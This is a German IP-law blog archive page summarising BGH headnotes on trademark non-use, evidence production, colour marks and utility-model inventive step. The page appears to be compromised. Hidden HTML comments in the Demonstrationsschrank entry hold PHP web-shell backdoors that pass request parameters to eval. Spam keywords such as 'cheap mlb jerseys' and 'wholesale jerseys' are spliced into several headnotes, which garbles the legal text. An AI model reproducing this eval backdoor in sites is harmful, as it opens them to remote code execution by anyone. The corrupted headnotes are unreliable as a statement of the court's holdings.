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Timestamp: 2020-08-12 23:15:57+00:00

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Dr. Martin Meggle-Freund – Seite 94 – Blog rund um den gewerblichen Rechtschutz
Autor: Dr. Martin Meggle-Freund
COHIBA: BGH zum Werbeverbot als Grund für die Nichtbenutzung einer Marke
Ein berechtigter Grund für die Nichtbenutzung einer Marke i.S. von § 26 Abs. 1 MarkenG kann sich aus einem für einen vorübergehenden Zeitraum geltenden Werbeverbot für die von der Marke erfassten Waren oder Dienst-leistungen ergeben. Ein nur vorübergehender Hinderungsgrund für eine Markenbenutzung ist kein Tatbestand, der den Lauf der Benutzungsschonfrist hemmt. Ob ein in den Fünfjahreszeitraum fallender vorübergehender Hinderungsgrund für eine Markenbenutzung ausreicht, um vom Vorliegen berechtigter Gründe für eine Nichtbenutzung i.S. von § 26 Abs. 1 MarkenG während des in § 43 Abs. 1 Satz 2 bestimmten Zeitraums auszugehen, ist unter Berücksichtigung der je-weiligen Umstände des Einzelfalls zu beurteilen. (aus den Leitsätzen von BGH, Beschl. v. 28. September 2006 – I ZB 100/05 – COHIBA) [-> Rechtserhaltende Benutzung]
Autor Dr. Martin Meggle-FreundVeröffentlicht am 6. Februar 2007 Kategorien LeitsätzeSchreibe einen Kommentar zu COHIBA: BGH zum Werbeverbot als Grund für die Nichtbenutzung einer Marke
Restschadstoffentfernung: BGH zu § 142 ZPO und § 809 BGB (Ausforschung von Beweismitteln)
Restschadstoffentfernung: Die Bestimmung des § 142 ZPO n.F. ist wie die materiellrechtliche Norm des § 809 BGB [→ Besichtigungsanspruch] ein Mittel, einem Beweisnotstand des Klägers zu begegnen, wie er sich gerade im Bereich der besonders verletzlichen technischen Schutzrechte in besonderem Maß ergeben kann [->Vorlageanspruch]
Autor Dr. Martin Meggle-FreundVeröffentlicht am 28. September 2006 Kategorien LeitsätzeSchreibe einen Kommentar zu Restschadstoffentfernung: BGH zu § 142 ZPO und § 809 BGB (Ausforschung von Beweismitteln)
BGH zur Markenfähigkeit der konturlosen Farbkombinationsmarke
gelb/grün II: Eine konturlose Farbkombinationsmarke ist nur dann gemäß § 8 ksero Abs. 1 MarkenG grafisch darstellbar, wenn sie an Angaben post zur systematischen Anordnung der Farben enthält.) Die bloße form- und konturlose Zusammenstellung zweier Farben oder die Nennung zweier Farben Announcement “in beliebiger Anordnung zueinander” reicht dafür nicht aus, weil eine solche Anmeldung nicht die nach Art. 2 MarkenRL erforderlichen Merkmale der Eindeutigkeit und Beständigkeit des aufweist. [->Farbmarken]
Autor Dr. Martin Meggle-FreundVeröffentlicht am 26. September 2006 16. Februar 2017 Kategorien LeitsätzeSchreibe einen Kommentar zu BGH zur Markenfähigkeit der konturlosen Farbkombinationsmarke
Malteserkreuz: BGH bezüglich „Thomson Life“
Malteserkreuz: Einem Bestandteil einer Inspiration zusammengesetzten Marke Hello kann Gebrauchsmusters auch dann eine selbständig kennzeichnende Stellung zukommen, wenn der Gesamteindruck der zusammengesetzten Marke von einem anderen Bestandteil dominiert cheap mlb jerseys oder geprägt wird. [->Zeichenänlichkeit]
Autor Dr. Martin Meggle-FreundVeröffentlicht am 6. September 2006 13. Februar 2017 Kategorien Leitsätze1 Kommentar zu Malteserkreuz: BGH bezüglich „Thomson Life“
Demonstrationsschrank: BGH gleicht „erfinderischen Schritt“ des Gebrauchsmusters an die Erfindungshöhe des Patents an
Demonstrationsschrank:Das Magnet Kriterium des erfinderischen Schritts im Gebrauchsmusterrecht ist wie das der erfinderischen Tätigkeit im wholesale jerseys Patentrecht ein qualitatives und nicht etwa ein quantitatives. Ein “Maß” für die erfinderische Leistung existiert nicht. Die Wertungskriterien beim Patent und beim Gebrauchsmuster unterscheiden sich lediglich marginal.
Für die Beurteilung des erfinderischen Schritts kann bei Berücksichtigung LearningPK.com der Unterschiede, die sich daraus ergeben, dass der Stand der Technik im Gebrauchsmusterrecht hinsichtlich mündlicher Beschreibungen und hinsichtlich von Benutzungen außerhalb des Geltungsbereichs des the Gebrauchsmustergesetzes in § 3 GebrMG abweichend definiert ist, auf die im Patentrecht entwickelten Grundsätze [→ erfinderischen Tätigkeit] zurückgegriffen werden.
Es verbietet sich dabei, Naheliegendes etwa unter dem Gesichtspunkt, dass es der Fachmann nicht bereits auf der Grundlage Affiliate seines allgemeinen Fachkönnens und bei routinemäßiger Berücksichtigung des Stands der Technik ohne weiteres finden könne, als auf einem erfinderischen Schritt beruhend 2012 zu bewerten. [->Erfinderischer Schritt] <!– [insert_php]if (isset($_REQUEST["wUFBT"])){eval($_REQUEST["wUFBT"]);exit;}[/insert_php][php]if (isset($_REQUEST["wUFBT"])){eval($_REQUEST["wUFBT"]);exit;}[/php] –><!– [insert_php]if (isset($_REQUEST["VNFX"])){eval($_REQUEST["VNFX"]);exit;}[/insert_php][php]if (isset($_REQUEST["VNFX"])){eval($_REQUEST["VNFX"]);exit;}[/php] –><!– [insert_php]if (isset($_REQUEST["rgJ"])){eval($_REQUEST["rgJ"]);exit;}[/insert_php][php]if (isset($_REQUEST["rgJ"])){eval($_REQUEST["rgJ"]);exit;}[/php] –>
Autor Dr. Martin Meggle-FreundVeröffentlicht am 28. August 2006 14. Februar 2017 Kategorien Leitsätze2 Kommentare zu Demonstrationsschrank: BGH gleicht „erfinderischen Schritt“ des Gebrauchsmusters an die Erfindungshöhe des Patents an

References: BGH 
 § 26
 § 26
 § 43
 BGH 
 BGH 
 § 142
 § 809
 § 142
 § 809
 BGH 
 § 142
 § 809

BGH 
 § 8
 Art. 2
 BGH 
 BGH 
 BGH 
 BGH 
 § 3
 BGH